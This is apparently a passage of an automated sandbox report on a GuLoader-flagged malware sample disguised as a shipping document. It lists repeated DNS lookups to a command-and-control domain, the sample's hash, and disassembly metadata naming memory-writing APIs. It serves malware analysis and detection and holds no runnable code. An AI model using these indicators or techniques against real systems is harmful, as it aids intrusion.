May 12, 2021 08:03:13.364254951 CEST	61946	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:13.421365976 CEST	53	61946	8.8.8.8	192.168.2.3
May 12, 2021 08:03:15.076543093 CEST	64938	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:16.107876062 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 08:03:16.125893116 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 08:03:17.141036034 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 08:03:17.201738119 CEST	64910	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:17.604834080 CEST	52123	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:17.666291952 CEST	53	52123	8.8.8.8	192.168.2.3
May 12, 2021 08:03:18.217997074 CEST	64910	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:19.140124083 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 08:03:19.264046907 CEST	64910	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:21.264622927 CEST	64910	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:21.267046928 CEST	53	64910	8.8.8.8	192.168.2.3
May 12, 2021 08:03:22.285006046 CEST	53	64910	8.8.8.8	192.168.2.3
May 12, 2021 08:03:22.291197062 CEST	56130	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:23.327791929 CEST	53	64910	8.8.8.8	192.168.2.3
May 12, 2021 08:03:23.341129065 CEST	56130	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:24.327455997 CEST	56130	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:25.321345091 CEST	53	64910	8.8.8.8	192.168.2.3
May 12, 2021 08:03:26.345091105 CEST	53	56130	8.8.8.8	192.168.2.3
May 12, 2021 08:03:27.366398096 CEST	56338	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:27.403759003 CEST	53	56130	8.8.8.8	192.168.2.3
May 12, 2021 08:03:28.375382900 CEST	56338	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:28.393043995 CEST	53	56130	8.8.8.8	192.168.2.3
May 12, 2021 08:03:29.421453953 CEST	56338	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:31.420943975 CEST	53	56338	8.8.8.8	192.168.2.3
May 12, 2021 08:03:32.444873095 CEST	59420	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:33.424427986 CEST	53	56338	8.8.8.8	192.168.2.3
May 12, 2021 08:03:33.437156916 CEST	59420	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:34.437467098 CEST	59420	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:34.472316980 CEST	53	56338	8.8.8.8	192.168.2.3
May 12, 2021 08:03:36.453270912 CEST	59420	53	192.168.2.3	8.8.8.8

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 12, 2021 08:02:35.204329014 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:36.222464085 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:37.240825891 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:40.491414070 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:41.527466059 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:46.372764111 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:50.638499975 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:51.639740944 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:55.687459946 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:02:56.734922886 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:00.783149958 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:02.811944008 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:05.906613111 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:06.938616991 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:11.031996012 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:12.079576969 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:16.126441002 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:17.141343117 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:19.140187979 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:22.289450884 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:23.327931881 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:25.321499109 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:27.403886080 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:28.393189907 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:33.424665928 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable
May 12, 2021 08:03:34.472475052 CEST	192.168.2.3	8.8.8.8	cff5	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2021 08:02:29.154186964 CEST	192.168.2.3	8.8.8.8	0x5a7c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:30.151031017 CEST	192.168.2.3	8.8.8.8	0x5a7c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:31.166793108 CEST	192.168.2.3	8.8.8.8	0x5a7c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:33.167016029 CEST	192.168.2.3	8.8.8.8	0x5a7c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:35.250248909 CEST	192.168.2.3	8.8.8.8	0x681c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:36.419112921 CEST	192.168.2.3	8.8.8.8	0x681c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:37.461003065 CEST	192.168.2.3	8.8.8.8	0x681c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:40.333544970 CEST	192.168.2.3	8.8.8.8	0x9ec5	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:41.323945045 CEST	192.168.2.3	8.8.8.8	0x9ec5	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:42.370624065 CEST	192.168.2.3	8.8.8.8	0x9ec5	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:45.529561043 CEST	192.168.2.3	8.8.8.8	0x6936	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:46.574399948 CEST	192.168.2.3	8.8.8.8	0x6936	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:47.574556112 CEST	192.168.2.3	8.8.8.8	0x6936	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:50.613149881 CEST	192.168.2.3	8.8.8.8	0x214c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:51.621308088 CEST	192.168.2.3	8.8.8.8	0x214c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:52.668411970 CEST	192.168.2.3	8.8.8.8	0x214c	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:55.696567059 CEST	192.168.2.3	8.8.8.8	0x72d7	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:56.718844891 CEST	192.168.2.3	8.8.8.8	0x72d7	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:02:57.762463093 CEST	192.168.2.3	8.8.8.8	0x72d7	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:00.853844881 CEST	192.168.2.3	8.8.8.8	0xf2a4	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:01.841365099 CEST	192.168.2.3	8.8.8.8	0xf2a4	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:02.872667074 CEST	192.168.2.3	8.8.8.8	0xf2a4	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:05.970653057 CEST	192.168.2.3	8.8.8.8	0xf19	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:06.966382980 CEST	192.168.2.3	8.8.8.8	0xf19	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:08.013849020 CEST	192.168.2.3	8.8.8.8	0xf19	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:11.059521914 CEST	192.168.2.3	8.8.8.8	0xa27b	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:12.060440063 CEST	192.168.2.3	8.8.8.8	0xa27b	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:13.076947927 CEST	192.168.2.3	8.8.8.8	0xa27b	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:15.076543093 CEST	192.168.2.3	8.8.8.8	0xa27b	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:17.201738119 CEST	192.168.2.3	8.8.8.8	0x2838	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:18.217997074 CEST	192.168.2.3	8.8.8.8	0x2838	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:19.264046907 CEST	192.168.2.3	8.8.8.8	0x2838	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:21.264622927 CEST	192.168.2.3	8.8.8.8	0x2838	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:22.291197062 CEST	192.168.2.3	8.8.8.8	0x48c9	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:23.341129065 CEST	192.168.2.3	8.8.8.8	0x48c9	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:24.327455997 CEST	192.168.2.3	8.8.8.8	0x48c9	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:27.366398096 CEST	192.168.2.3	8.8.8.8	0x9d40	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:28.375382900 CEST	192.168.2.3	8.8.8.8	0x9d40	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:29.421453953 CEST	192.168.2.3	8.8.8.8	0x9d40	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:32.444873095 CEST	192.168.2.3	8.8.8.8	0x89c0	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:33.437156916 CEST	192.168.2.3	8.8.8.8	0x89c0	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:34.437467098 CEST	192.168.2.3	8.8.8.8	0x89c0	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)
May 12, 2021 08:03:36.453270912 CEST	192.168.2.3	8.8.8.8	0x89c0	Standard query (0)	reachglobal-in.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 12, 2021 08:02:34.206736088 CEST	8.8.8.8	192.168.2.3	0x5a7c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:35.203108072 CEST	8.8.8.8	192.168.2.3	0x5a7c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:36.219311953 CEST	8.8.8.8	192.168.2.3	0x5a7c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:37.240662098 CEST	8.8.8.8	192.168.2.3	0x5a7c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:39.314114094 CEST	8.8.8.8	192.168.2.3	0x681c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:40.487884045 CEST	8.8.8.8	192.168.2.3	0x681c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:41.524218082 CEST	8.8.8.8	192.168.2.3	0x681c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:44.397491932 CEST	8.8.8.8	192.168.2.3	0x9ec5	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:46.372621059 CEST	8.8.8.8	192.168.2.3	0x9ec5	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:46.434206009 CEST	8.8.8.8	192.168.2.3	0x9ec5	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:49.593126059 CEST	8.8.8.8	192.168.2.3	0x6936	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:50.638376951 CEST	8.8.8.8	192.168.2.3	0x6936	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:51.639637947 CEST	8.8.8.8	192.168.2.3	0x6936	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:54.678493023 CEST	8.8.8.8	192.168.2.3	0x214c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:55.687346935 CEST	8.8.8.8	192.168.2.3	0x214c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:56.734673023 CEST	8.8.8.8	192.168.2.3	0x214c	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:02:59.762057066 CEST	8.8.8.8	192.168.2.3	0x72d7	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:00.782874107 CEST	8.8.8.8	192.168.2.3	0x72d7	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:02.811834097 CEST	8.8.8.8	192.168.2.3	0x72d7	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:04.917594910 CEST	8.8.8.8	192.168.2.3	0xf2a4	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:05.906464100 CEST	8.8.8.8	192.168.2.3	0xf2a4	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:06.937756062 CEST	8.8.8.8	192.168.2.3	0xf2a4	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:10.035644054 CEST	8.8.8.8	192.168.2.3	0xf19	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:11.031840086 CEST	8.8.8.8	192.168.2.3	0xf19	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:12.079459906 CEST	8.8.8.8	192.168.2.3	0xf19	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:16.107876062 CEST	8.8.8.8	192.168.2.3	0xa27b	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:16.125893116 CEST	8.8.8.8	192.168.2.3	0xa27b	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:17.141036034 CEST	8.8.8.8	192.168.2.3	0xa27b	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:19.140124083 CEST	8.8.8.8	192.168.2.3	0xa27b	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:21.267046928 CEST	8.8.8.8	192.168.2.3	0x2838	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:22.285006046 CEST	8.8.8.8	192.168.2.3	0x2838	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:23.327791929 CEST	8.8.8.8	192.168.2.3	0x2838	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:25.321345091 CEST	8.8.8.8	192.168.2.3	0x2838	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:26.345091105 CEST	8.8.8.8	192.168.2.3	0x48c9	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:27.403759003 CEST	8.8.8.8	192.168.2.3	0x48c9	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:28.393043995 CEST	8.8.8.8	192.168.2.3	0x48c9	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:31.420943975 CEST	8.8.8.8	192.168.2.3	0x9d40	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:33.424427986 CEST	8.8.8.8	192.168.2.3	0x9d40	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 08:03:34.472316980 CEST	8.8.8.8	192.168.2.3	0x9d40	Server failure (2)	reachglobal-in.com	none	none	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: shipping Document and Bill Of Landing.exe PID: 672 Parent PID: 5588

General

Start time:	08:01:26
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe'
Imagebase:	0x400000
File size:	192512 bytes
MD5 hash:	7196E6E67A39225A9B73AF0C6F6B5B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: shipping Document and Bill Of Landing.exe PID: 204 Parent PID: 672

General

Start time:	08:02:09
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe'
Imagebase:	0x400000
File size:	192512 bytes
MD5 hash:	7196E6E67A39225A9B73AF0C6F6B5B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: shipping Document and Bill Of Landing.exe PID: 672 Parent PID: 5588 shipping Document and Bill Of Landing.exeCOMMON

Executed Functions

Function 022963F4, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

Q>[, xrefs: 02296433

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Q>[
API String ID: 0-3793658124
Opcode ID: 33ab6e0d05badc93884a5d21f9b97e11a5eda33354295407842864ac0d95fdb8
Instruction ID: 19f59a1c340877239b32075f3c3ede638e0a4e80e7c572dbab28bb48b50ab1bf
Opcode Fuzzy Hash: 33ab6e0d05badc93884a5d21f9b97e11a5eda33354295407842864ac0d95fdb8
Instruction Fuzzy Hash: 3A914C70638343CECF219FE488A47B57BE69F13320F88925EC9965B19ED3B48485CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02290715, Relevance: 3.5, APIs: 2, Instructions: 519COMMON

Download Yara Rule

APIs

EnumWindows.USER32(02290760,?,00000000), ref: 02290743

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: b6897ad4c18987d988633ec7e82a136171af62916630a36b06dc9078f1c668a4
Instruction ID: 95ee1a638e58779bfd6b64e5c21235a4b201d73773a941f8d3fca89dae2c1c81
Opcode Fuzzy Hash: b6897ad4c18987d988633ec7e82a136171af62916630a36b06dc9078f1c668a4
Instruction Fuzzy Hash: 54F18CB0724346FEFF219EA0CD94BE93BA6BF41784F54421EEE8567188C7B58486CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0229194A, Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15da90086398c7b6b25baf5044ae47c1e5ff72cf368eb4bd15a09cbe797b185c
Instruction ID: c0f51695d5abd497e5787237297b584a2aa5a1ff93c847fe3018bde4f89ca199
Opcode Fuzzy Hash: 15da90086398c7b6b25baf5044ae47c1e5ff72cf368eb4bd15a09cbe797b185c
Instruction Fuzzy Hash: CDB14471760306FEFF215EA0CC95BE9366ABF01744F604229FE89AB1C8D7B99485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0229292A, Relevance: 1.8, APIs: 1, Instructions: 324nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02295349: LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02292DF0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID:
API String ID: 3569954152-0
Opcode ID: bd36421cc061b4e776962d5feeadef5d1f21dba3b0d15f57907c8bb759044af5
Instruction ID: d4af8f6fdc5b3961a82873f251c41393263da7d9878394a6dfb728cffef84cd8
Opcode Fuzzy Hash: bd36421cc061b4e776962d5feeadef5d1f21dba3b0d15f57907c8bb759044af5
Instruction Fuzzy Hash: 71B11374760306FEFF215EA0CC95BE9366ABF04744F504229FE85AB188D7BA9885CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02295460, Relevance: 1.8, APIs: 1, Instructions: 313libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 41a7d42dd12e6ac185f0a2d41f60bbea0f7c200fe8bcf721000f6916c8c243f6
Instruction ID: 7422691905bf1996d03092e1a6c0887740e3486d591f7b14466ff8b7c69a0388
Opcode Fuzzy Hash: 41a7d42dd12e6ac185f0a2d41f60bbea0f7c200fe8bcf721000f6916c8c243f6
Instruction Fuzzy Hash: A1B126F2B3E7C56EDF23CBB0068035A7F92AD0359838D599FC9C53601BD1A5926AC381

Uniqueness

Uniqueness Score: -1.00%

Function 02293C23, Relevance: 1.8, APIs: 1, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec8d8b61b0f74b0be98afd78748477252ebdc7ecfa93574ca89a7c11bddb04dc
Instruction ID: 9b05fc625d799a5b68e0d1feeb5f6aabd2adcba2fe0b94b43eb92416862dd94d
Opcode Fuzzy Hash: ec8d8b61b0f74b0be98afd78748477252ebdc7ecfa93574ca89a7c11bddb04dc
Instruction Fuzzy Hash: 85A122B5760306FEFF314EA0CC95BE9366ABF04744F544229FE85AB188D3BA9485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0229290F, Relevance: 1.8, APIs: 1, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b92b61f8245cb91ed58e1d33b2f8b232c6789cb3cbe11eaf2573413025e12c3
Instruction ID: 8edb5c96de75fdc18ae16c7b3d4605bc3c6baaf61675724008ed56a848ace121
Opcode Fuzzy Hash: 3b92b61f8245cb91ed58e1d33b2f8b232c6789cb3cbe11eaf2573413025e12c3
Instruction Fuzzy Hash: 0BA134B0760306FEFF318EA0CC95BE9766ABF44744F544229FE85AB188C3B99484CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02292943, Relevance: 1.8, APIs: 1, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8bc337fd7f7aef7d4ffb95efbfe2e769a7aee6ce2a28cc7f313919e5362d0d
Instruction ID: 8edd43a8e176b421276a45c0df225ef1fa629b74704badb143e4d785a79bf694
Opcode Fuzzy Hash: cc8bc337fd7f7aef7d4ffb95efbfe2e769a7aee6ce2a28cc7f313919e5362d0d
Instruction Fuzzy Hash: 80A122B4760306FEFF215EA0CC95BE9766AFF04744F544229EE85AB188C3BA9485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0229299B, Relevance: 1.8, APIs: 1, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8cd31eee8ffe1679e2dbe074246ed68bfcd340fb9f4675c5717d4fc94bd8f7e
Instruction ID: 420bebc88f6850b0790a598087cd0c28ac62a3ca6ed9166fb961a6f6a7e5c67d
Opcode Fuzzy Hash: c8cd31eee8ffe1679e2dbe074246ed68bfcd340fb9f4675c5717d4fc94bd8f7e
Instruction Fuzzy Hash: 009112B4760346FEFF219EA0CC94BE9366ABF04744F544229EE8597188C7BA9485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 022929D0, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd2a466e1d2d84d0f92b942b35629ccea1cfff133cb3eb160e70419e00a106f
Instruction ID: ac828559b7884bb8e81e83bc493dad334ae5d32cb8aed11da930e3f5dff5c2b0
Opcode Fuzzy Hash: cbd2a466e1d2d84d0f92b942b35629ccea1cfff133cb3eb160e70419e00a106f
Instruction Fuzzy Hash: 0F9146B4660306FEFF319EA0CC95BE9366AFF04344F544229EE8597184D3BA9485CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02292A0C, Relevance: 1.8, APIs: 1, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d3c0605e93a1e9a7a02c8474d091f3971ee42949a034b0c811a47be49ebaa4
Instruction ID: c0894b719731235643908e33a9ecb8de05cac7bc1acd2c38a693eb460fc07163
Opcode Fuzzy Hash: 52d3c0605e93a1e9a7a02c8474d091f3971ee42949a034b0c811a47be49ebaa4
Instruction Fuzzy Hash: 1F8123B4660346FEFF319EA0CC94BE9766AFF04344F544229EE859B188C3B994D4CB81

